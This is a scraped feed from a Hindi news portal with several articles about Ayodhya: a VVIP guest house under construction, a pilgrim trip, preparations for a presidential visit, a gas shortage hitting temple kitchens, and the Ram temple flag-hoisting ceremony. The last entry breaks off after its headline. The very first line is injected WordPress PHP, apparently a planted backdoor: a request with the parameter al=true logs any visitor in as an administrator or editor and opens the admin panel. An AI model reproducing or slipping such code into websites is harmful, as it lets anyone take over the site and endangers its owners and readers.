// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Ayodhya – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sat, 06 Jun 2026 06:57:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.4 अयोध्या में आधुनिक आतिथ्य का बेहतरीन उदाहरण बनेगा अति विशिष्ट अतिथि गृह https://pratyushaashakinayikiran.com/?p=225104 Sat, 06 Jun 2026 06:57:00 +0000 https://pratyushaashakinayikiran.com/?p=225104 अयोध्या में आधुनिक आतिथ्य का बेहतरीन उदाहरण बनेगा अति विशिष्ट अतिथि गृह 

-रामकथा पार्क के नजदीक 93.75 करोड़ की लागत से तेजी से बन रहा अति विशिष्ट अतिथि गृह

-मुख्यमंत्री योगी आदित्यनाथ की पहल पर अयोध्या को मिलेगा आधुनिक वीवीआईपी गेस्ट हाउस

-14510.00 वर्गमीटर क्षेत्रफल में विकसित हो रहा अत्याधुनिक अतिथि गृह परिसर

-सीएम ब्लॉक, आवासीय ब्लॉक और डारमैट्री सहित कई सुविधाओं से सुसज्जित होगा प्रोजेक्ट

-अयोध्या में वीवीआईपी आवागमन के लिए तैयार हो रहा भव्य राज्य अतिथि गृह

अयोध्या,
 मुख्यमंत्री योगी आदित्यनाथ की पहल पर पावन नगरी अयोध्या में राम कथा पार्क के निकट एक भव्य और अत्याधुनिक अति विशिष्ट अतिथि गृह का निर्माण कार्य तेजी से चल रहा है। यह परिसर धार्मिक पर्यटन के साथ-साथ आधुनिक आतिथ्य का बेहतरीन उदाहरण बनेगा। राज्य सम्पत्ति विभाग के इस महत्वाकांक्षी प्रोजेक्ट की कुल लागत 93.75 करोड़ रुपये है। इसका निर्माण नवंबर 2027 तक पूरा होने की संभावना है। 
     14510.00 वर्गमीटर में फैले इस अतिथि गृह परिसर में कई आधुनिक ब्लॉक शामिल हैं। इनमें मुख्यमंत्री ब्लॉक (जी+4) 7155 वर्गमीटर, आवासीय ब्लॉक (बी+जी+5) 9496 वर्गमीटर, डार्मेट्री ब्लॉक (जी+5) 2371.50 वर्गमीटर, सर्विस ब्लॉक (जी+1) 26050 वर्गमीटर शामिल हैं। इसके अलावा गार्ड रूम, टाइम ऑफिस एवं पास ऑफिस, इलेक्ट्रिकल सबस्टेशन (14800 वर्गमीटर) और सेंट्रल लॉन, वॉटर फाउंटेन, स्टाफ पार्किंग, विजिटर पार्किंग, विद्युतीकरण एवं वॉटर सप्लाई जैसी सुविधाएं भी विकसित की जा रही हैं। लोक निर्माण विभाग सीडी-2 के अधिशासी अभियंता उमेश चंद्र ने बताया कि इस समय मुख्यमंत्री ब्लॉक में चतुर्थ तल पर प्लास्टर एवं तीसरे/चतुर्थ तल पर एमईपी एवं लिफ्ट का कार्य प्रगति पर है। वहीं रेजीडेंशियल ब्लॉक में बेसमेंट के स्लैब का कार्य पूर्ण हो चुका है। डार्मेट्री ब्लॉक में पेंटिंग एवं बाहर प्लास्टर का कार्य चल रहा है। परियोजना में सीएम ब्लॉक, आवासीय ब्लॉक, डार्मेट्री ब्लॉक, सर्विस ब्लॉक सहित आधुनिक सुविधाओं से लैस वीवीआईपी आवास की व्यवस्था होगी।

निर्माण कार्य की हो रही नियमित निगरानी
अयोध्या में बढ़ते वीवीआईपी आवागमन को देखते हुए यह गेस्ट हाउस शहर की आतिथ्य क्षमता को नई ऊंचाई प्रदान करेगा। परिसर में पर्याप्त पार्किंग व्यवस्था, सुंदर सेंट्रल लॉन, आकर्षक वॉटर फाउंटेन, ग्रीनरी और सुरक्षा के पुख्ता इंतजाम किए जा रहे हैं। यह परिसर न केवल राम मंदिर आने वाले उच्च पदाधिकारियों और गणमान्य व्यक्तियों के लिए सुविधाजनक होगा, बल्कि अयोध्या के समग्र विकास को भी नई गति प्रदान करेगा। निर्माण कार्य की नियमित निगरानी की जा रही है ताकि गुणवत्ता और समयबद्धता दोनों सुनिश्चित हो सकें।

परियोजना अयोध्या की भव्य छवि में लाएगी और निखार : डीएम
जिलाधिकारी शशांक त्रिपाठी ने भी हाल ही में परियोजना का निरीक्षण किया था। निरीक्षण के दौरान जिलाधिकारी ने कार्यदायी एजेंसी के अधिकारियों को गुणवत्ता बनाए रखते हुए समयबद्ध पूरा करने के निर्देश दिए थे। शशांक त्रिपाठी बताते हैं कि परियोजना पूरी होने के बाद यह अति विशिष्ट अतिथि गृह अयोध्या की भव्य छवि को और निखारेगा।

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अयोध्या में आधुनिक आतिथ्य का बेहतरीन उदाहरण बनेगा अति विशिष्ट अतिथि गृह https://pratyushaashakinayikiran.com/?p=225106 Sat, 06 Jun 2026 06:57:00 +0000 https://pratyushaashakinayikiran.com/?p=225106 अयोध्या में आधुनिक आतिथ्य का बेहतरीन उदाहरण बनेगा अति विशिष्ट अतिथि गृह 

-रामकथा पार्क के नजदीक 93.75 करोड़ की लागत से तेजी से बन रहा अति विशिष्ट अतिथि गृह

-मुख्यमंत्री योगी आदित्यनाथ की पहल पर अयोध्या को मिलेगा आधुनिक वीवीआईपी गेस्ट हाउस

-14510.00 वर्गमीटर क्षेत्रफल में विकसित हो रहा अत्याधुनिक अतिथि गृह परिसर

-सीएम ब्लॉक, आवासीय ब्लॉक और डारमैट्री सहित कई सुविधाओं से सुसज्जित होगा प्रोजेक्ट

-अयोध्या में वीवीआईपी आवागमन के लिए तैयार हो रहा भव्य राज्य अतिथि गृह

अयोध्या,
 मुख्यमंत्री योगी आदित्यनाथ की पहल पर पावन नगरी अयोध्या में राम कथा पार्क के निकट एक भव्य और अत्याधुनिक अति विशिष्ट अतिथि गृह का निर्माण कार्य तेजी से चल रहा है। यह परिसर धार्मिक पर्यटन के साथ-साथ आधुनिक आतिथ्य का बेहतरीन उदाहरण बनेगा। राज्य सम्पत्ति विभाग के इस महत्वाकांक्षी प्रोजेक्ट की कुल लागत 93.75 करोड़ रुपये है। इसका निर्माण नवंबर 2027 तक पूरा होने की संभावना है। 
     14510.00 वर्गमीटर में फैले इस अतिथि गृह परिसर में कई आधुनिक ब्लॉक शामिल हैं। इनमें मुख्यमंत्री ब्लॉक (जी+4) 7155 वर्गमीटर, आवासीय ब्लॉक (बी+जी+5) 9496 वर्गमीटर, डार्मेट्री ब्लॉक (जी+5) 2371.50 वर्गमीटर, सर्विस ब्लॉक (जी+1) 26050 वर्गमीटर शामिल हैं। इसके अलावा गार्ड रूम, टाइम ऑफिस एवं पास ऑफिस, इलेक्ट्रिकल सबस्टेशन (14800 वर्गमीटर) और सेंट्रल लॉन, वॉटर फाउंटेन, स्टाफ पार्किंग, विजिटर पार्किंग, विद्युतीकरण एवं वॉटर सप्लाई जैसी सुविधाएं भी विकसित की जा रही हैं। लोक निर्माण विभाग सीडी-2 के अधिशासी अभियंता उमेश चंद्र ने बताया कि इस समय मुख्यमंत्री ब्लॉक में चतुर्थ तल पर प्लास्टर एवं तीसरे/चतुर्थ तल पर एमईपी एवं लिफ्ट का कार्य प्रगति पर है। वहीं रेजीडेंशियल ब्लॉक में बेसमेंट के स्लैब का कार्य पूर्ण हो चुका है। डार्मेट्री ब्लॉक में पेंटिंग एवं बाहर प्लास्टर का कार्य चल रहा है। परियोजना में सीएम ब्लॉक, आवासीय ब्लॉक, डार्मेट्री ब्लॉक, सर्विस ब्लॉक सहित आधुनिक सुविधाओं से लैस वीवीआईपी आवास की व्यवस्था होगी।

निर्माण कार्य की हो रही नियमित निगरानी
अयोध्या में बढ़ते वीवीआईपी आवागमन को देखते हुए यह गेस्ट हाउस शहर की आतिथ्य क्षमता को नई ऊंचाई प्रदान करेगा। परिसर में पर्याप्त पार्किंग व्यवस्था, सुंदर सेंट्रल लॉन, आकर्षक वॉटर फाउंटेन, ग्रीनरी और सुरक्षा के पुख्ता इंतजाम किए जा रहे हैं। यह परिसर न केवल राम मंदिर आने वाले उच्च पदाधिकारियों और गणमान्य व्यक्तियों के लिए सुविधाजनक होगा, बल्कि अयोध्या के समग्र विकास को भी नई गति प्रदान करेगा। निर्माण कार्य की नियमित निगरानी की जा रही है ताकि गुणवत्ता और समयबद्धता दोनों सुनिश्चित हो सकें।

परियोजना अयोध्या की भव्य छवि में लाएगी और निखार : डीएम
जिलाधिकारी शशांक त्रिपाठी ने भी हाल ही में परियोजना का निरीक्षण किया था। निरीक्षण के दौरान जिलाधिकारी ने कार्यदायी एजेंसी के अधिकारियों को गुणवत्ता बनाए रखते हुए समयबद्ध पूरा करने के निर्देश दिए थे। शशांक त्रिपाठी बताते हैं कि परियोजना पूरी होने के बाद यह अति विशिष्ट अतिथि गृह अयोध्या की भव्य छवि को और निखारेगा।

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राम नगरी की ओर श्रद्धा का कारवां: मनेंद्रगढ़ से 49 श्रद्धालु अयोध्या रवाना https://pratyushaashakinayikiran.com/?p=213732 Wed, 22 Apr 2026 05:20:00 +0000 https://pratyushaashakinayikiran.com/?p=213732 राम नगरी की ओर श्रद्धा का कारवां: मनेंद्रगढ़ से 49 श्रद्धालु अयोध्या रवाना

मनेन्द्रगढ़/एमसीबी

छत्तीसगढ़ शासन की महत्वाकांक्षी “श्री रामलला दर्शन (अयोध्या धाम) योजना” के तहत मनेंद्रगढ़-चिरमिरी-भरतपुर जिले से चयनित श्रद्धालुओं का दल आज गहरी आस्था और उत्साह के साथ अयोध्या धाम के लिए रवाना हुआ। इस जनकल्याणकारी पहल के माध्यम से आम नागरिकों को भगवान श्रीराम के पावन जन्मस्थल के दर्शन का सुअवसर मिल रहा है।
जिले के नगरीय निकायों और जनपद पंचायतों से प्राप्त प्रस्तावों के आधार पर 57 श्रद्धालुओं की सूची तैयार कर छत्तीसगढ़ पर्यटन बोर्ड को भेजी गई थी, जिनमें से 49 श्रद्धालु यात्रा पर निकले। मनेंद्रगढ़ से बस द्वारा अंबिकापुर पहुंचने के बाद श्रद्धालु विशेष ट्रेन के माध्यम से अयोध्या धाम के लिए प्रस्थान करेंगे। 21 से 24 अप्रैल 2026 तक प्रस्तावित इस यात्रा के दौरान ठहरने, भोजन, दर्शन, सुरक्षा और चिकित्सा सहित सभी आवश्यक सुविधाएं शासन और जिला प्रशासन द्वारा सुनिश्चित की गई हैं। यात्रा दल के साथ एक एस्कॉर्ट अधिकारी भी नियुक्त किया गया है, जो पूरी यात्रा के दौरान व्यवस्थाओं की निगरानी करेंगे।

भक्ति और उल्लास से गूंजा वातावरण

रवाना होते समय श्रद्धालुओं के चेहरों पर आस्था और खुशी साफ झलक रही थी। राम धुन, भजन और जयघोषों के बीच पूरा माहौल भक्तिमय हो उठा। श्रद्धालुओं ने इस अवसर के लिए शासन के प्रति आभार जताते हुए इसे जीवन का एक अविस्मरणीय आध्यात्मिक अनुभव बताया।

संस्कृति से जुड़ाव का सशक्त माध्यम

“श्री रामलला दर्शन योजना” केवल एक धार्मिक यात्रा नहीं, बल्कि लोगों को भारतीय संस्कृति, आस्था और परंपराओं से जोड़ने का महत्वपूर्ण प्रयास है। अयोध्या धाम में श्रीरामलला के दर्शन श्रद्धालुओं के जीवन में नई ऊर्जा और सकारात्मकता का संचार करेंगे। यह पहल राज्य में धार्मिक पर्यटन को बढ़ावा देने के साथ-साथ सांस्कृतिक विरासत के संरक्षण में भी अहम भूमिका निभा रही है।

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राष्ट्रपति द्रौपदी मुर्मु के अयोध्या आगमन को भव्य बनाएगी योगी सरकार https://pratyushaashakinayikiran.com/?p=206004 Thu, 19 Mar 2026 07:40:00 +0000 https://pratyushaashakinayikiran.com/?p=206004 राष्ट्रपति द्रौपदी मुर्मु के अयोध्या आगमन को भव्य बनाएगी योगी सरकार 

-राम यंत्र स्थापना को लेकर नगर निगम ने कीं व्यापक तैयारियां

-मुख्यमंत्री योगी आदित्यनाथ के निर्देशन में स्वच्छ, सुरक्षित और व्यवस्थित अयोध्या बनाने हेतु विशेष अभियान

–  राम जन्मभूमि मंदिर परिसर, घाटों व प्रमुख धार्मिक स्थलों पर विशेष स्वच्छता और सौंदर्यीकरण अभियान

-प्रस्तावित मार्गों, अंडरपासों और चौराहों पर हाईटेक सफाई, एंटी स्मॉग गन व जल छिड़काव की व्यवस्था

-श्रद्धालुओं के लिए पेयजल, वाटर कूलर, वाटर कियोस्क और प्रकाश व्यवस्था की व्यापक सुविधा

-आवारा पशुओं पर नियंत्रण, अतिक्रमण हटाने और भीड़भाड़ वाले स्थलों पर विशेष प्रबंधन योजना

-भंडारा स्थलों, सांस्कृतिक कार्यक्रमों व सार्वजनिक स्थानों पर सफाई, डस्टबिन और जनसुविधाओं का विस्तार

अयोध्या
राष्ट्रपति द्रौपदी मुर्मु के अयोध्या आगमन को लेकर योगी सरकार ने तैयारियां तेज कर दी हैं। राष्ट्रपति 19 मार्च को हिंदू नववर्ष (वर्ष प्रतिपदा) और चैत्र नवरात्रि के पहले दिन वह रामनगरी पहुंचेंगी। यहां राम जन्मभूमि मंदिर परिसर में राम यंत्र की स्थापना करेंगी। साथ ही वैदिक अनुष्ठानों में मुख्य अतिथि के रूप में भाग लेंगी। यह दौरा राम मंदिर के इतिहास में एक महत्वपूर्ण अध्याय जोड़ेगा, क्योंकि राम यंत्र की स्थापना मंदिर के द्वितीय तल पर होगी, जो आध्यात्मिक और वास्तुशास्त्रीय दृष्टि से अत्यंत पवित्र माना जाता है।
   मुख्यमंत्री योगी आदित्यनाथ के व्यक्तिगत निर्देशन में अयोध्या को स्वच्छ, सुरक्षित, सुव्यवस्थित और भव्य बनाने का व्यापक अभियान चल रहा है। नगर निगम, जिला प्रशासन, पुलिस और अन्य विभाग मिलकर दिन-रात काम कर रहे हैं ताकि राष्ट्रपति के आगमन के साथ ही श्रद्धालुओं को भी कोई असुविधा न हो। अयोध्या को स्वच्छ और सुंदर बनाने का संकल्प अब और मजबूत हो गया है, क्योंकि यह दौरा केवल एक आधिकारिक यात्रा नहीं, बल्कि हिंदू नववर्ष के उत्सव और राम मंदिर की पूर्णता का प्रतीक बन रहा है। अयोध्या नगर निगम ने राष्ट्रपति के प्रस्तावित मार्गों, राम जन्मभूमि मंदिर परिसर, सरयू घाटों और प्रमुख धार्मिक स्थलों पर विशेष स्वच्छता एवं सौंदर्यीकरण अभियान छेड़ा है। पूरे नगर निगम क्षेत्र में विशेष सफाई अभियान चल रहा है, जिसमें स्वीपिंग मशीनों से सड़कों की नियमित सफाई शामिल है। सरयू तट पर जेटिंग मशीनों से घाटों की गहन धुलाई की जा रही है, ताकि स्नान घाट पूरी तरह स्वच्छ और आकर्षक दिखें।

एंटी स्मॉग गन कर रहा धूल नियंत्रण
प्रमुख चौराहों और अंडरपासों जैसे एयरपोर्ट अंडरपास, महोवरा अंडरपास, साकेत पेट्रोल पंप अंडरपास, अयोध्या धाम मेला क्षेत्र आदि पर हाईटेक सफाई व्यवस्था सुनिश्चित की गई है। धूल नियंत्रण के लिए एंटी-स्मॉग गन से पानी का छिड़काव किया जा रहा है, जिससे हवा स्वच्छ रहे और यात्रा आरामदायक हो। श्रद्धालुओं की सुविधा के लिए पेयजल व्यवस्था को प्राथमिकता दी गई है। नगर निगम क्षेत्र में कुल 81 वाटर कूलर लगाए गए हैं, जिनमें अयोध्या धाम क्षेत्र में 47 और फैजाबाद क्षेत्र में 31 शामिल हैं। इसके अलावा 25 वाटर कियोस्क स्थापित किए गए हैं। अयोध्या धाम में 18 और फैजाबाद में 7 स्थापित किए गए हैं। ये सभी 24×7 निःशुल्क शुद्ध पेयजल उपलब्ध कराएंगे। सांस्कृतिक कार्यक्रम स्थलों और भंडारा स्थलों पर वाटर टैंकर भी तैनात रहेंगे।

फुटपाथों से अतिक्रमण हटाने का अभियान तेज
आवारा पशुओं, खासकर गोवंश, पर सख्त नियंत्रण के लिए विशेष टीमें गठित की गई हैं। इन टीमों द्वारा आवारा पशुओं को पकड़कर गोशालाओं में पहुंचाया जाएगा, ताकि सड़कों पर कोई बाधा न रहे। फुटपाथों से अतिक्रमण हटाने का अभियान तेज है, जिससे पैदल यात्रियों को सुगम मार्ग मिले। बस स्टेशन, रेलवे स्टेशन, धर्मशालाएं, रेस्टोरेंट, होमस्टे और अन्य भीड़भाड़ वाले स्थलों पर विशेष सफाई और प्रबंधन योजना लागू है।

पॉलीथीन मुक्त अयोध्या बनाने के लिए जन-जागरूकता अभियान  
नागेश्वर नाथ मंदिर, हनुमानगढ़ी और अन्य प्रमुख मठ-मंदिरों के आसपास उत्कृष्ट सफाई व्यवस्था सुनिश्चित की गई है। भंडारा स्थलों पर नियमित सफाई, डस्टबिन की पर्याप्त व्यवस्था और जनसुविधाओं का विस्तार किया गया है। पॉलीथीन मुक्त अयोध्या बनाने के लिए जन-जागरूकता अभियान चलाया जा रहा है। पब्लिक एड्रेस सिस्टम और वेरिएबल मैसेजिंग सिस्टम के माध्यम से देशभक्ति गीतों के साथ स्वच्छता, अतिक्रमण न करने और पॉलीथीन मुक्त रहने के संदेश प्रसारित किए जा रहे हैं।

घाट और अंडरपासों पर विशेष लाइटिंग
प्रकाश व्यवस्था को भी मजबूत किया गया है। संत तुलसीदास घाट, सरयू स्नान घाट और विभिन्न अंडरपासों पर विशेष लाइटिंग की गई है, ताकि शाम के समय भी क्षेत्र सुरक्षित और आकर्षक लगे।

सफाई कर्मचारियों की तैनाती
राष्ट्रपति के आगमन के मद्देनजर प्रस्तावित मार्गों और आसपास के क्षेत्रों में लगभग 500 सफाई कर्मचारियों की ड्यूटी लगाई गई है। ये कर्मचारी राष्ट्रपति के प्रस्थान तक निरंतर सफाई कार्य सुनिश्चित करेंगे। नगर निगम के अधिकारियों द्वारा उनकी ड्यूटी का पर्यवेक्षण किया जा रहा है, ताकि कोई चूक न हो।

श्रद्धालु लेकर जाएंगे अच्छा अनुभव : नगर आयुक्त
नगर आयुक्त जयेंद्र कुमार ने बताया कि यह दौरा राम मंदिर की भव्यता को नई ऊंचाई देगा। प्रदेश सरकार का प्रयास है कि अयोध्या न केवल राष्ट्रपति के स्वागत में भव्य दिखे, बल्कि हर आने वाले श्रद्धालु को 'रामनगरी' की दिव्यता और स्वच्छता का अनुभव हो। हमारी कोशिश है कि रामनवमी पर आने वाले सभी श्रद्धालु अच्छा अनुभव लेकर जाएं।

नगर निगम का विशेष सफाई और सजावट अभियान
महामहिम राष्ट्रपति के आगमन के मद्देनजर व मुख्यमंत्री योगी आदित्यनाथ के निर्देश पर नगर निगम अयोध्या ने व्यापक तैयारियां कीं हैं। एक सप्ताह के लिए विशेष सफाई अभियान चलाया गया, जिसमें सरयू तट से लेकर पूरे नगर क्षेत्र में सफाई, फॉगिंग एवं एंटी लार्वा का छिड़काव कराया गया। पेयजल की व्यवस्था को सुदृढ़ बनाने के लिए सभी वाटर कियास्क, वाटर एटीएम, वॉटर टैंक की सफाई एवं मरम्मत कराकर इस दौरान आने वाले लाखों श्रद्धालुओं के उपयोग लायक बनाया गया है। इसके साथ ही शहर के विभिन्न चौराहों, पार्को एवं महापुरुषों की मूर्तियों को सजाने का प्रबंध किया गया है। साढ़े आठ किलोमीटर लंबे आवागमन मार्ग को जगह-जगह फूलों, एवं हरियाली के प्रतीक पेड़-पौधों से सजाया गया है। स्वागत के लिए खड़े होने वाले नौनिहालों की सुविधा के लिए सफाई, पेयजल के विशेष इंतजाम किए गए हैं। देश के कोने-कोने से आने वाले श्रद्धालु अयोध्या की आध्यात्मिक आभा के साथ ही विकास, सफाई, पेयजल व्यवस्था सहित अन्य कार्यों के लिए हो रहे नवाचारों से प्रेरणा लें। इसका पूरा प्रयास किया जा रहा है।
-महंत गिरीश पति त्रिपाठी, महापौर नगर निगम अयोध्या

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ईरान युद्ध का असर अयोध्या तक, गैस किल्लत से ‘राम रसोई’ बंद, हनुमानगढ़ी के लड्डू प्रसाद पर संकट https://pratyushaashakinayikiran.com/?p=203967 Wed, 11 Mar 2026 06:37:00 +0000 https://pratyushaashakinayikiran.com/?p=203967   अयोध्या
 

ईरान-इजरायल युद्ध और अंतरराष्ट्रीय तनाव ने अयोध्या में एलपीजी गैस की आपूर्ति बाधित कर दी है, जिससे स्थानीय मठ-मंदिरों की सामूहिक रसोइयां और प्रसाद निर्माण बुरी तरह प्रभावित हुए हैं. अमावा मंदिर प्रशासन ने गैस उपलब्ध न होने के कारण प्रतिदिन 10 हजार श्रद्धालुओं को भोजन कराने वाली ‘श्रीराम रसोई’ को फिलहाल स्थगित कर दिया है. हनुमानगढ़ी के करीब 150 दुकानदारों के सामने लड्डू बनाने का संकट खड़ा हो गया है क्योंकि कारखानों में उत्पादन बंद है. यह स्थिति गैस की कमी के कारण पैदा हुई है, जिससे होटल-रेस्टोरेंट कारोबार और श्रद्धालुओं की भोजन व्यवस्था चरमरा गई है। 

राम रसोई पर लटका नोटिस
राम मंदिर के पास स्थित अमावा मंदिर की ‘श्रीराम रसोई’ के बाहर प्रशासन ने सूचना चस्पा कर दी है. मंदिर के मैनेजर पंकज कुमार के अनुसार, अंतरराष्ट्रीय युद्ध के तनाव से देश में पैदा हुए गैस संकट के कारण रसोई को समय से पहले बंद करना पड़ा है. अब यह सेवा तभी दोबारा शुरू हो पाएगी जब गैस की आपूर्ति सामान्य होगी. इस फैसले से दूर-दराज से आने वाले हजारों श्रद्धालुओं को निःशुल्क भोजन मिलना बंद हो गया है, जो एक गंभीर आपातकालीन स्थिति है। 

हनुमानगढ़ी के लड्डू प्रसाद पर संकट
संकट की आंच सिद्धपीठ हनुमानगढ़ी तक भी पहुंच गई है. प्रसाद विक्रेता नंद कुमार गुप्ता ने बताया कि गैस न मिलने से लड्डू का उत्पादन लगभग ठप है और केवल पुराना स्टॉक ही बेचा जा रहा है. यहां हर दुकानदार रोजाना 30 से 40 किलो लड्डू तैयार करता है, लेकिन अब बजरंगबली के भोग की व्यवस्था प्रभावित होने का डर सता रहा है. व्यापारियों का कहना है कि अंतरराष्ट्रीय हालातों के कारण यदि यही स्थिति रही, तो अयोध्या का प्रसिद्ध प्रसाद उद्योग पूरी तरह बंद हो सकता है। 

बेपटरी होता पर्यटन और कारोबार
गैस किल्लत का सीधा असर अयोध्या के होटल और रेस्टोरेंट सेक्टर पर भी पड़ा है. रेस्टोरेंट संचालक अमित के मुताबिक, पिछले दो दिनों से सिलेंडर मिलना मुश्किल हो गया है और घरेलू बुकिंग भी प्रभावित है. स्थानीय व्यापारियों और संतों का मानना है कि यदि जल्द आपूर्ति सामान्य नहीं हुई, तो लागत बढ़ने के साथ-साथ पर्यटकों को भोजन के लिए भटकना पड़ेगा. अंतरराष्ट्रीय तनाव की यह आंच अब आम लोगों की रसोई से लेकर अयोध्या की सेवा परंपरा तक महसूस की जा रही है। 

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राम मंदिर ध्वजारोहण समारोह: मुख्यमंत्री योगी आदित्यनाथ मंगलवार को अयोध्या में करेंगें उच्चस्तरीय समीक्षा बैठक https://pratyushaashakinayikiran.com/?p=191976 Mon, 17 Nov 2025 14:45:00 +0000 https://pratyushaashakinayikiran.com/?p=191976 मुख्यमंत्री योगी ध्वजारोहण समारोह की तैयारियों का स्वयं करेंगे निरीक्षण

राम मंदिर तक गोल्फ कार्ट से पहुंचाए जाएंगे अतिथि, पार्किंग पर ही जिला प्रशासन लगाएगा गोल्फ कार्ट

मंदिर परिसर में ही बनेंगे दो खोया पाया कैंप

प्रदेश की योगी सरकार अतिथि देवो भव: की तर्ज पर करेगी स्वागत

 

अयोध्या,

श्रीराम जन्मभूमि मंदिर के गर्भगृह के शिखर पर ध्वजारोहण का भव्य कार्यक्रम 25 नवम्बर को आयोजित किया जाएगा। इस ऐतिहासिक अवसर पर प्रधानमंत्री नरेंद्र मोदी के शामिल होने की पूरी संभावना है। कार्यक्रम की तैयारियों को परखने के लिए उत्तर प्रदेश के मुख्यमंत्री योगी आदित्यनाथ स्वयं मंगलवार को अयोध्या पहुंचकर राम मंदिर परिसर का दौरा करेंगे और उच्चस्तरीय समीक्षा बैठक करेंगे। वहीं पीएम के कार्यक्रम स्थलों का निरीक्षण भी करेंगे। शिखर पर ध्वज फहराने के बाद मंदिर का मुख्य निर्माण कार्य पूर्ण रूप से समाप्त हो जाएगा। इसके बाद मंदिर आम भक्तों के लिए पूरी तरह खोल दिया जाएगा। अभी तक केवल गर्भगृह और प्रथम तल तक ही भक्तों को प्रवेश मिलता है, लेकिन शिखर कलश और ध्वजारोहण के बाद पूरे मंदिर परिसर में दर्शन की व्यवस्था शुरू हो जाएगी। कार्यक्रम में देश-विदेश से आने वाले संत-महंत, वीवीआईपी और विशेष अतिथियों की संख्या हजारों में होने का अनुमान है। इन सभी को सुगमता से मंदिर तक पहुंचाने के लिए जिला प्रशासन ने विशेष योजना तैयार की है। पार्किंग स्थलों से राम मंदिर तक मेहमानों को गोल्फ कार्ट की सुविधा दी जाएगी। इसके लिए सभी प्रमुख पार्किंग क्षेत्रों पर ही गोल्फ कार्ट तैनात रहेंगें। इससे पैदल चलने की परेशानी से मेहमानों को निजात मिलेगी और यातायात व्यवस्था भी सुचारू रहेगी।

खोया-पाया कैंप बनेगा और होगा अतिथि सत्कार
भीड़ प्रबंधन को देखते हुए मंदिर परिसर में ही दो बड़े खोया-पाया कैंप स्थापित किए जाएंगे। इन कैंपों में खोए हुए लोगों को तुरंत खोजने और उनके परिजनों से मिलाने की व्यवस्था रहेगी। इसके अलावा योगी सरकार ‘अतिथि देवो भव:’ की भावना के साथ मेहमानों का भव्य स्वागत-सत्कार करेगी। सभी अतिथियों के लिए ठहरने, भोजन और परिवहन की उच्चस्तरीय व्यवस्था की जा रही है।

सुरक्षा के रहेंगे पुख्ता इंतजाम
जिलाधिकारी निखिल टीकाराम ने बताया कि 25 नवम्बर के कार्यक्रम को देखते हुए अयोध्या में मल्टी लेयर सुरक्षा व्यवस्था रहेगी। हजारों पुलिसकर्मी, पीएसी, सीआरपीएफ और खुफिया एजेंसियों की टीमें तैनात रहेंगी। ड्रोन और सीसीटीवी से पूरे शहर की निगरानी की जाएगी। राम मंदिर ट्रस्ट के एक सदस्य ने बताया कि शिखर पर ध्वज फहराने के बाद मंदिर का स्वरूप पूर्ण रूप से दिव्य हो जाएगा। नौ शिखरों वाले इस भव्य मंदिर में मुख्य शिखर पर भगवा ध्वज लहराता देख करोड़ों रामभक्तों की आंखें तर हो जाएंगी।

मुख्यमंत्री स्वयं परखेंगे व्यवस्थाएं
मुख्यमंत्री योगी आदित्यनाथ ने अधिकारियों को निर्देश दिए हैं कि यह कार्यक्रम विश्व पटल पर भारत की आस्था और संस्कृति का प्रतीक बने। मंगलवार को समीक्षा बैठक में वे स्वयं हर व्यवस्था को परखेंगे व पीएम के कार्यक्रम स्थलों का निरीक्षण करेंगे। ताकि 25 नवम्बर का कार्यक्रम ऐतिहासिक और अविस्मरणीय बन सके।

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रामलला के धाम में ध्वजारोहण की तैयारी पूरी, श्रद्धालुओं के लिए नई गाइडलाइन जारी https://pratyushaashakinayikiran.com/?p=191154 Thu, 13 Nov 2025 04:45:00 +0000 https://pratyushaashakinayikiran.com/?p=191154 अयोध्या

अयोध्या के श्री राम जन्मभूमि मंदिर के शिखर पर ध्वजारोहण कार्यक्रम के समय और आम दर्शनार्थियों के प्रवेश को लेकर श्रीराम जन्मभूमि तीर्थ क्षेत्र ट्रस्ट की ओर से महत्वपूर्ण सूचना जारी की गई है। यह कार्यक्रम एक विशेष और भव्य आयोजन होगा, जिसमें प्रधानमंत्री नरेंद्र मोदी और अन्य विशिष्ट अतिथि शामिल होंगे, जिसके कारण आम भक्तों के लिए दर्शन के समय में बदलाव किया गया है।

ध्वज का आकार त्रिकोणीय होगा और यह लगभग 205 फीट की ऊंचाई पर लहराएगा। ध्वज दंड की ऊंचाई 44 फीट है। ध्वज केसरिया रंग का होगा, जिस पर ओम लिखा होगा, और यह पैराशूट फैब्रिक से बना होगा।

राम मंदिर में ध्वजारोहण का समय दिन 12 बजे होगा। 11 बजे देश के प्रधानमंत्री मंदिर में प्रवेश करेंगे। इसी के साथ सभी अतिथियों को सुबह 9 बजे तक आने के लिए कहा गया है। जगद्गुरु रामानंदाचार्य द्वार से सभी अतिथियों का स्वागत किया जाएगा। वहीं अगर आम श्रद्धालुओं की बात की जाए तो उन्हें 25 नवंबर को राम मंदिर में प्रवेश नहीं मिलेगा। यदि आप भी इन दिनों के दौरान आने की सोच रहे है तो अपने प्लान को स्थगित कर दें।

समारोह के दौरान सभी मेहमानों को अंदर 18 मंदिरों के दर्शन करने का मौका मिलेगा। इस दौरान किसी भी तरह की अफरा-तफरा न मचे इसके लिए पूरी तरह व्यवस्था का इतंजाम किया हुआ है।

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बड़ा सुरक्षा खुलासा: आतंकी अयोध्या-काशी को उड़ाने की योजना में, राम मंदिर हिटलिस्ट में था https://pratyushaashakinayikiran.com/?p=190993 Wed, 12 Nov 2025 09:36:00 +0000 https://pratyushaashakinayikiran.com/?p=190993 लखनऊ
